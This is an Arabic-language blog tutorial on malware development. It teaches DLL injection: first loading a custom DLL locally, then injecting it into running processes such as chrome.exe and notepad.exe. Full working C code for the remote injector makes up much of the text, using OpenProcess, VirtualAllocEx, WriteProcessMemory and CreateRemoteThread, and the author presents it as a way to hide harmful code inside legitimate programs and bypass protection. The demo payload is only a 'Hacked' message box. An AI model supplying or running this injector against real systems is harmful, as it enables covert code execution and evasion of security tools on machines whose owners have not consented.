DLL Injection

HomeLab

السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ

اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ،

✨🌙 هَلَّ هِلالُ الخَيْرِ، فَأسألُ اللهَ أنْ يَملأ قُلوبَكم بالنُّورِ واليقينِ، مُبَارَكٌ عَلَيكُمُ الشَّهْرُ 🌙✨

HomeLab

Introduction

[+] فـ عالم الـ Malware Development ، كل مـ بتكون قادر ع تنفيذ الكود بتاعك داخل عمليات تانية (Processes) ، كل مـ بتزيد فرصتك فـ التهرب من الحماية والتحكم فـ السيستم .. وده اللـ بنسميه Process Injection ، واللـ من أشهر أساليبه هو DLL Injection.

[+] بس إيه هو DLL Injection بالظبط؟

الفكرة باختصار إنك بتاخد ملف DLL خاص بيك وبتـ Inject الملف ده داخل Process تانية ، بحيث الكود اللـ جوه يتنفذ كأنه جزء من العملية دي .. وده بيديك صلاحيات كتير زي:

  • تقدر تشغل كود ضار جوا عملية شرعية زي chrome.exe أو notepad.exe.
  • تقدر تتجاوز الحماية لأن الـ DLL هيشتغل من جوه العملية ، مش كبرنامج مستقل.
  • تقدر تعدل فـ سلوك الأبلكيشنز من غير مـ حد ياخد باله ، يعني ممكن برنامج يبقى شغال عادي بس بيعمل حاجات فـ الخلفية لصالحك.

[+] وهنتكلم عن نوعين من الـ DLL Injection وهما :

  1. Local DLL Execution
  2. Remote DLL Injection

1. Local DLL Execution :

[+] فـ الجزء ده هنتعلم إزاي نصنع ملف DLL .. وكمان نعمل برنامج بحيث يقدر يـ Load ملف الـ DLL ويشغلة ، تعالي نشوف هنعمل إيه :

  1. هتفتح برجيكت جديد ، وهتختار التمبليت بتاع الـ DLL :
  2. LocalDLLInjection-1
  3. هتمسح الأجزاء اللـ متعلمة بالأحمر لإن مش محتاجينها حاليا :
  4. LocalDLLInjection-2
  5. محتاج تعرف البرنامج إنه ميدورش ع الملفات اللـ مسحناهم ، هتقف ع إسم البروجيكت من الـ Solution Exeplorer و Right-Click > Properties > C/C++ > Precompiled Headers وتختار Not Using Precompiled Headers.
  6. LocalDLLInjection-3
  7. هتعدل إمتداد الفايل بدل cpp هتخليه c .. وهتضيف المكاتب العادية كالعادة .. وهنضيف السطرين دول فـ حتة الـ DLL_PROCESS_ATTACH :
  8. MessageBoxW(NULL, L"You Have Been Hacked HAHAHAHAHAHAHA", L"Hacked", MB_OK | MB_ICONWARNING);
    break;
    ودا معناه إن لما ملف الـ DLL يرتبط مع Process .. يظهرله رسالة فيها إنه اتهكر .. (ودا مجرد تيست بس يعني ، عدل وغير إنت براحتك).
    بالنسبة لتفاصيل البراميترز وعشان تفهم كل جزء ليه بالشكل ده ، فـ بص ع الـ Documentation من [هنا].
    LocalDLLInjection-4
  9. هتعمل Build للبرجيكت ع الـ Debug .. وبكدا الحمدلله عملنا ملف DLL فكرتة بسيطة.

[+] تعالي بقي نعمل البرنامج اللـ هيشغل ملف الـ DLL :

  1. هتفتح برجيكت جديد .. هتضيف الـ main func .. وهنستخدم عملية من Windows APIs بـ اسم LoadLibraryW ، وهنضيف جواها إسم ملف الـ DLL اللـ عملناه :
  2. LocalDLLInjection-5

[+] هتـ Build البرجيكت ع الـ Debug .. ويلا نجرب نـ رن :

  • هتضيف ملف الـ DLL مع البرجيكت اللـ عملناه .. وهتجرب تشغل هتلاقيه اشتغل وتمام :
  • LocalDLLInjection-6

[+] طيب دلوقتي لو غيرت ملف الـ DLL ، هل لسه هدخل جوا البروجيكت كل مرة وأ Build وبتاع ؟ .. لا حوار .. تعالي نعدل فـ الكود ونزود شوية إضافات :

  1. هنخلي البرنامج بدل مـ ملف الـ DLL يكون جواه ، لا إحنا هنضيفه بنفسنا عشان كل مرة لو غيرنا الملف .. وفـ الكود أنا ضيفت الجزء ده ، كنا قولناه فـ المقالات اللـ قبل كده .. مهمتها إنها بتتأكد إن اليوزر ضاف عنصرين .. ولو أقل من كده يبقي ملف الـ DLL منضفش :
  2. LocalDLLInjection-7
  3. هنجرب ولحد هنا تمام :
  4. LocalDLLInjection-8
  5. بعد كده .. زودت شوية حاجات أكتر .. بحيث البرنامج يكون فيه معلومات بتنطلع ، ولو حصل إيرور يظهر إيه اللـ حصل وكده :
  6. LocalDLLInjection-9

[+] يلا نـ رن :

  • هتلاقي إنه شغال تمام :
  • LocalDLLInjection-10
  • ولو فتحت Process Hacker .. وبحثت بـ الـ PID .. وفتحت الـ Modules .. هتلاقي ملف الـ DLL اللـ عملناه موجود بالفعل.
  • LocalDLLInjection-11

[+] ودا كدا الكود النهائي للـ Local DLL Execution :

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {

  if (argc < 2) {
    printf("[!] DLL Missing !!!");
    return -1;
  }

  printf("[i] Injecting \"%s\" to the Local Process of PID : %d \n", argv[1], GetCurrentProcessId());

  printf("[i] Loading DLL ... \n");

  if (LoadLibraryA(argv[1]) == NULL) {
    printf("[!] LoadLibraryA Failed With Eroor : %d \n", GetLastError());
    return -1;
  }
  printf("[i] DONE \n");

  printf("[i] Press <Enter> to Quit ... ");
  getchar();

   return 0;
}

[+] دلوقتي بقى خلصنا Local DLL Execution ، وعرفنا إزاي نشغل ملف DLL جوه برنامج إحنا اللـ مشغلينه .. بس السؤال هنا .. إزاي نحط الـ DLL بتاعنا جوه برنامج شغال أصلا؟

2. Remote DLL Injection

[+] هنا بقى بييجي دور Remote DLL Injection ، اللـ هي من أقوى طرق الـ Process Injection ، و الفكره ببساطة إنك بتاخد ملف DLL ، وبتـ Inject جوه Process شغالة بالفعل ، بحيث الكود بتاعك يشتغل كأنه جزء من البرنامج ده.

[+] قبل مـ نخش ع الأكواد ، خليني أوضح الفكرة ببساطة .. إحنا عايزين نحقن DLL جوه بروسيس معينه ، بس علشان نعمل كده ، لازم الأول نجيب معلومات عن كل البروسيسيز اللـ شغالة ، وندور ع البروسيس اللـ إحنا مستهدفينها .. طيب إزاي بقي؟

  1. بناخد Snapshot لكل العمليات اللـ شغالة باستخدام CreateToolhelp32Snapshot.
  2. بعدين نبدأ ندور ع اسم البروسيس اللـ إحنا مستهدفينها ، ولما نلاقيها بناخد Handle عليها باستخدام OpenProcess.
  3. بنحجز مساحة في الميموري جوه البروسيس باستخدام VirtualAllocEx ، وبعدها بنكتب مسار الـ DLL فيها باستخدام WriteProcessMemory.
  4. بعد كده ، بنشغل الـ DLL جوه البروسيس باستخدام CreateRemoteThread ، واللـ بيخلينا نستدعي LoadLibraryW عشان نحمل الـ DLL جوه البروسيس.

[+] يلا نبدأ نشوف الأكواد:

Step 1 : Get process information

أول حاجة ، هنضيف مكتبة Tlhelp32.h لإن هنستخدم دوال منها:

#include <Tlhelp32.h>

بعد كده ، هنكريت دالة وظيفتها إنها تلاقي البروسيس المستهدفه وتمسك Handle عليها ، ودي أنا سميتها GetRemoteProcessHandle ، والدالة دي بتاخد:

  • szProcessName: اسم البروسيس اللـ بندور عليها.
  • dwProcessId: هنحفظ فيه الـ PID.
  • hProcess: هنحفظ فيه الهاندل اللـ هنستخدمه بعدين.
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {

هنستخدم CreateToolhelp32Snapshot ، واللـ وظيفتها إنها تاخد لقطة من العمليات اللـ شغالة دلوقتي ع الجهاز ، وترجع Handle نقدر نستخدمه بعدين ، ولو الدالة فشلت في إنها تاخد Snapshot ، هتطلع Error وتخرج من الفانكشن .. وتقدر تشوف الـ Documentation بتاعها من [هنا].

HANDLE hSnapshot = NULL;

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapshot == INVALID_HANDLE_VALUE) {
  printf("[!] CreateToolhelp32Snapshot Failed with Error : %d \n", GetLastError());
  goto _EndOfFunction;
}

Step 2 : Search for target process

دلوقتي هنبدأ نعدي ع كل البروسيسيز الموجودة فـ الـ Snapshot ، وندور ع اسم البروسيس اللـ إحنا مستهدفينها .. وأول بروسيس هنجيبها باستخدام Process32First : وتقدر تشوف الـ Documentation بتاعها من [هنا].

PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };

if (!Process32First(hSnapshot, &Proc)) {
  printf("[i] Process32First Failed with Error : %d \n", GetLastError());
  goto _EndOfFunction;
}

[+] بعد كده احنا عاوزين نعمل لوب تعدي ع كل البروسيسيز ، وناخد معلوماتهم ونحفظها فـ Struct اسمها Proc. وبعدين ندور ع بروسيس معينه بالاسم بتاعها ، ولو لقيناها ، نجيب الـ Process ID بتاعه ونفتحه بصلاحيات معينة ، والخطوات للجزء ده كالتالي :

  1. تجهيز مكان نحفظ فيه اسم البروسيس :
  2. أول حاجة بنتأكد إن البروسيس ليه اسم فعلا (Proc.szExeFile) وبعد كده بنشوف حجمه (dwSize). كمان بنجهز Array (LowerName) عشان نحط فيها الاسم بعد تحويله لحروف صغيرة ، ونمسح أي بيانات قديمة منها باستخدام ()RtlSecureZeroMemory.
    WCHAR LowerName[MAX_PATH * 2];

    if (Proc.szExeFile) {
      DWORD dwSize = lstrlenW(Proc.szExeFile);
      DWORD i = 0;

      RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
  3. تحويل الاسم لـ Lowercase :
  4. دلوقتي هنحول كل الحروف فـ الاسم لـ Lowercase عشان لما نقارن متبقاش عندنا مشاكل بسبب الفرق بين الحروف الكبيرة والصغيرة.
    بنتأكد الأول إن حجم الاسم أقل من حجم المصفوفة (MAX_PATH * 2) عشان منواجهش مشاكل. وبعدين بنمشي حرف حرف ونحوله باستخدام ()tolower ، وفيـالآخر بنضيف '\0' عشان الاسم يكون بشكل نصي سليم.
    if (dwSize < MAX_PATH * 2) {
        for (; i < dwSize; i++) {
          LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
        }
        LowerName[i++] = '\0';
    }
  5. المقارنة بين الاسم اللـ اتحول واسم البروسيس اللـ بندور عليها :
  6. دلوقتي بعد مـ حولنا الاسم لـ Lowercase ، هنقارنه بالاسم اللـ بندور عليه (szProcessName) باستخدام ()wcscmp.
    لو طلعوا متطابقين يبقى لقينا البروسيس المطلوبه ، فنحفظ الـ Process ID ونحاول نفتح البروسيس بصلاحيات PROCESS_ALL_ACCESS. وتقدر تشوف الـ Documentation بتاعها من [هنا].
    if (wcscmp(LowerName, szProcessName) == 0) {
      *dwProcessId = Proc.th32ProcessID;
      *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
      if (*hProcess == NULL)
        printf("[!] OpenProcess Failed with Error : %d \n", GetLastError());
      break;
    }
  7. لو ملقيناش البروسيس نكمل فـ اللوب :
  8. لو الاسم مش مطابق بنكمل ندور ع باقي البروسيسيز باستخدام ()Process32Next لحد ما نخلص كل البروسيسات أو نلاقي اللـ بندور عليها ، وتقدر تشوف الـ Documentation بتاعها من [هنا].
    } while (Process32Next(hSnapshot, &Proc));

[+] آخر جزء فـ الدالة دي هو إننا نقفل الـ Handle اللـ فتحناه باستخدام CloseHandle ، عشان نمنع الـ Handle Leak :

_EndOfFunction:
  if (hSnapshot != NULL)
    CloseHandle(hSnapshot);
  if (*dwProcessId == NULL || *hProcess == NULL)
    return FALSE;
  return TRUE;
}

Step 3 : Injecting DLL into the targeted process

[+] بعد مـ جبنا الهاندل بتاع البروسيس فـ الدالة اللـ فاتت ، دلوقتي جه وقت إننا نحقن الـ DLL فيها عشان يشتغل جوه البروسيس .. خلينا نشوف الخطوات وحدة وحدة:

  1. تجهيز دالة الحقن والمتغيرات الأساسية :
  2. BOOL DLLInjectionToRemoteProcess(HANDLE hProcess, LPWSTR DllName) {
      BOOL bSTATE = TRUE;
      LPVOID pLoadLibraryW = NULL;
      LPVOID pAddress = NULL;
      DWORD dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);
      SIZE_T lpNumberOfBytrsWritten = NULL;
      HANDLE hThread = NULL;
    إيه اللي بيحصل هنا؟ قبل مـ نبدأ الحقن ، بنجهز شوية متغيرات هنحتاجها وقت العملية:
    • bSTATE : ده متغير Bool بنستخدمه عشان نعرف إذا كانت العملية نجحت ولا لا.
    • pLoadLibraryW : هنا هنخزن عنوان LoadLibraryW لما نجيبه بعدين.
    • pAddress : ده هيكون عنوان الميموري اللـ هنحجزها جوه البروسيس المستهدفه.
    • dwSizeToWrite : ده حجم البيانات اللـ هنكتبها فـ ميموري البروسيس ، وبيساوي عدد الحروف فـ اسم الـ
    • DLL * حجم كل حرف (WCHAR).
    • lpNumberOfBytrsWritten : هنستخدمه بعدين عشان نشوف هل كل البيانات اتكتبت فـ الميموري بنجاح ولا
    • لا.
    • Thread : بعد مـ نحقن الـ DLL ، هنستخدمه لإنشاء Thread جديد فـ البروسيس المستهدف لتشغيل الـ DLL.
  3. نجيب عنوان LoadLibraryW :
  4. إحنا هنحتاج LoadLibraryW لأنها المسؤولة عن تحميل الـ DLL جوه البروسيس ، فبناخد عنوانها باستخدام GetProcAddress عشان نقدر نشغلها بعدين.
      pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
      if (pLoadLibraryW == NULL) {
        printf("[!] GetProcAddress Failed with Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
      }
    هنا بنستخدم GetModuleHandle عشان نجيب kernel32.dll ، وبعدها بنستخدم GetProcAddress عشان نجيب عنوان LoadLibraryW. لو فشلت العملية ، بتطلع Error وتخرج.
  5. نحجز مكان فـ ميموري البروسيس :
  6. عشان نقدر نبعت اسم الـ DLL للبروسيس ، لازم الأول نحجز مكان فـ الميموري باستخدام VirtualAllocEx.
      pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
      if (pAddress == NULL) {
        printf("[!] VirtualAllocEx Failed with Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
      }
    بنستخدم VirtualAllocEx عشان نحجز مساحة تكفي اسم الـ DLL جوه ميموري البروسيس المستهدفه. ولو فشلت ، بتطلع Error وتخرج.
  7. نكتب اسم الـ DLL فـ الميموري :
  8. بعد مـ حجزنا مكان فـ الميموري ، دلوقتي نكتب مسار الـ DLL فـ المكان ده باستخدام WriteProcessMemory.
      if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytrsWritten) || dwSizeToWrite != lpNumberOfBytrsWritten) {
        printf("[!] WriteProcessMemory Failed with Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
      }
    بنستخدم WriteProcessMemory عشان نكتب اسم الـ DLL فـ الميموري اللـ حجزناها. وبنتأكد إن كل البيانات اتكتبت صح ، ولو فـ مشكلة بتطلع Error وتخرج.
  9. ننشئ Thread جديد فـ البروسيس :
  10. دلوقتي بقى عندنا مسار الـ DLL فـ ميموري البروسيس ، فهنستخدم CreateRemoteThread عشان نشغل LoadLibraryW اللـ هتقوم بتحميل الـ DLL.
      hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
      if (hThread == NULL ) {
        printf("[!] CreateRemoteThread Failed with Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
      }
    CreateRemoteThread هي اللـ بتشغل LoadLibraryW جوه البروسيس ، وبتاخد كـ Argument العنوان بتاع الميموري اللـ كتبنا فيه اسم الـ DLL. ولو العملية فشلت ، بتطلع Error وتخرج.
  11. نقفل الـ Thread اللـ فتحناه :
  12. بعد مـ خلصنا كل حاجة ، بنقفل الـ Thread عشان منسيبش Handle Leak.
    _EndOfFunction:
      if (hThread)
        CloseHandle(hThread);
      return bSTATE;
      }
    أي Thread أو Handle استخدمناه ، لازم نقفله بعد مـ نخلص شغلنا عشان منسيبش Handle Leaks.

Step 4 : Execution and Cleanup

[+] هنبدأ نجهز الـ main function ، واللـ فيها هنتأكد من استدعاء الدوال اللـ كتبناها قبل كده ، والتأكد إن كل العمليات ماشية زي الفل.

  1. تغيير الـ main والتحقق من الـ Arguments :
  2. فـ البداية عدلت الـ main لـ wmain عشان تقدر تستوعب الحروف الـ Unicode أو UTF-16 .. وبعد كدا قبل أي حاجة البرنامج بيتأكد إن اليوزر دخل الـ arguments المطلوبة:
    • اسم أو مسار الـ DLL
    • اسم العملية المستهدفة
    ولو مش موجودين بيطبع رسالة توضح طريقة الاستخدام ويخرج من البرنامج.
    int wmain(int argc, wchar_t* argv[]) {

      if (argc < 3) {
        wprintf(L"[i] Usage : \"%s\" <DLL File or Path> <Process Name> \n", argv[0]);
        return -1;
      }
  3. البحث عن البروسيس المستهدفه :
  4. بنستدعي الفانكشن اللـ بتبحث عن البروسيس وتجيب الهاندل.
      wprintf(L"[i] Searching For Process ID of \"%s\" ... ", argv[2]);
      if (!GetRemoteProcessHandle(argv[2], &dwProcessId, &hProcess)) {
         printf("[!] Process not found. \n");
         return -1;
      }
  5. تنفيذ الحقن :
  6. هنا بنستدعي الفانكشن اللـ بتحقن ملف الـ DLL.
      if (!DLLInjectionToRemoteProcess(hProcess, argv[1])) {
        return -1;
      }
  7. ننهي البرنامج ونقفل الـ Handle :
  8. بنقفل الهاندل عشان نمنع الـ Handle Leak.
    CloseHandle(hProcess);

[+] كدا خلصنا شرح الكود .. هتـ Build البروجيكت ع الـ Debug.

[+] يلا نـ رن ونجرب :

  1. لو جربت تـ رن البرنامج لوحده ، هيطلعلك الإستخدام :
  2. RemoteDLLInjection-1
  3. هترن البرنامج وتديله مسار ملف الـ DLL اللـ عملناه .. وهتديله البروسيش اللـ شغالة .. هتلاقي إنه لقي الـ PID بتاعها .. وهتلاقيها موجودة ع Process Hacker :
  4. RemoteDLLInjection-2
  5. لما تخليه يشتغل .. هتلاقي فـ Modules إن الملف بتاعنا بقي موجود :
  6. RemoteDLLInjection-3
  7. وفعلا الملف اشتغل من الـ chrome :
  8. RemoteDLLInjection-4
  9. تاني بروسيس جربت عليها وهي الـ notepad.exe :
  10. RemoteDLLInjection-5
  11. الملف ارتبط بالبروسيس بنجاح :
  12. RemoteDLLInjection-6
  13. واشتغل بالفعل من الـ notepad :
  14. RemoteDLLInjection-7

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>

BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess)
{
  HANDLE hSnapshot = NULL;
  PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };

  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
  if (hSnapshot == INVALID_HANDLE_VALUE) {
    printf("[!] CreateToolhelp32Snapshot Failed with Error : %d \n", GetLastError());
    goto _EndOfFunction;
  }

  if (!Process32First(hSnapshot, &Proc)) {
    printf("[i] Process32First Failed with Error : %d \n", GetLastError());
    goto _EndOfFunction;
  }

  do {
    WCHAR LowerName[MAX_PATH * 2];

    if (Proc.szExeFile) {

      DWORD dwSize = lstrlenW(Proc.szExeFile);
      DWORD i = 0;

      RtlSecureZeroMemory(LowerName, MAX_PATH * 2);

      if (dwSize < MAX_PATH * 2) {
        for (; i < dwSize; i++) {
        LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
      }
      LowerName[i++] = '\0';
      }
  }

  if (wcscmp(LowerName, szProcessName) == 0) {
    *dwProcessId = Proc.th32ProcessID;
    *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
    if (*hProcess == NULL)
      printf("[!] OpenProcess Failed with Error : %d \n", GetLastError());
    break;
  }

} while (Process32Next(hSnapshot, &Proc));

_EndOfFunction:
  if (hSnapshot != NULL)
    CloseHandle(hSnapshot);
  if (*dwProcessId == NULL || *hProcess == NULL)
    return FALSE;
  return TRUE;

}

BOOL DLLInjectionToRemoteProcess(HANDLE hProcess, LPWSTR DllName) {
  BOOL bSTATE = TRUE;
  LPVOID pLoadLibraryW = NULL;
  LPVOID pAddress = NULL;
  DWORD dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);
  SIZE_T lpNumberOfBytrsWritten = NULL;
  HANDLE hThread = NULL;

  pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
  if (pLoadLibraryW == NULL) {
    printf("[!] GetProcAddress Failed with Error : %d \n", GetLastError());
    bSTATE = FALSE; goto _EndOfFunction;
  }

  pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (pAddress == NULL) {
    printf("[!] VirtualAllocEx Failed with Error : %d \n", GetLastError());
    bSTATE = FALSE; goto _EndOfFunction;
  }

  printf("[i] pAddress Allocated at : %d\n", pAddress, dwSizeToWrite);
  printf("[i] Press <Enter> to Write ...");
  getchar();

  if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytrsWritten) || dwSizeToWrite != lpNumberOfBytrsWritten) {
    printf("[!] WriteProcessMemory Failed with Error : %d \n", GetLastError());
    bSTATE = FALSE; goto _EndOfFunction;
  }
  printf("[i] Successfully Written %d Bytes\n", lpNumberOfBytrsWritten);
  printf("[i] Press <Enter> to Run ...");
  getchar();

  printf("[i] Executing DLL ...\n");
  hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
  if (hThread == NULL ) {
    printf("[!] CreateRemoteThread Failed with Error : %d \n", GetLastError());
    bSTATE = FALSE; goto _EndOfFunction;
}

printf("[i] DONE ...\n");

_EndOfFunction:
  if (hThread)
    CloseHandle(hThread);
  return bSTATE;
}

int wmain(int argc, wchar_t* argv[]) {

  HANDLE hProcess = NULL;
  DWORD dwProcessId = NULL;

  if (argc < 3) {
    wprintf(L"[i] Usage : \"%s\" <DLL File or Path> <Process Name> \n", argv[0]);
    return -1;
  }

  wprintf(L"[i] Searching For Process ID of \"%s\" ... ", argv[2]);
  if (!GetRemoteProcessHandle(argv[2], &dwProcessId, &hProcess)) {
    printf("[!] Process not found. \n");
    return -1;
  }

  wprintf(L"[i] DONE \n");
  printf("[i] Found Target Process PID : %d \n", dwProcessId);

  if (!DLLInjectionToRemoteProcess(hProcess, argv[1])) {
    return -1;
  }

  CloseHandle(hProcess);
  printf("[i] Press <ENTER> to Quit ...");
  getchar();

  return 0;
}

وبكدا . أتمني تكون استفدت حاجه .. ونلتقي فـ مقالة قادمة .. ولو عندك أي تعليق ، استفسار ، أي حاجه .. متترددش وكلمني.

References

خدلك لفة فـ المصادر والمراجع يا عزيزي: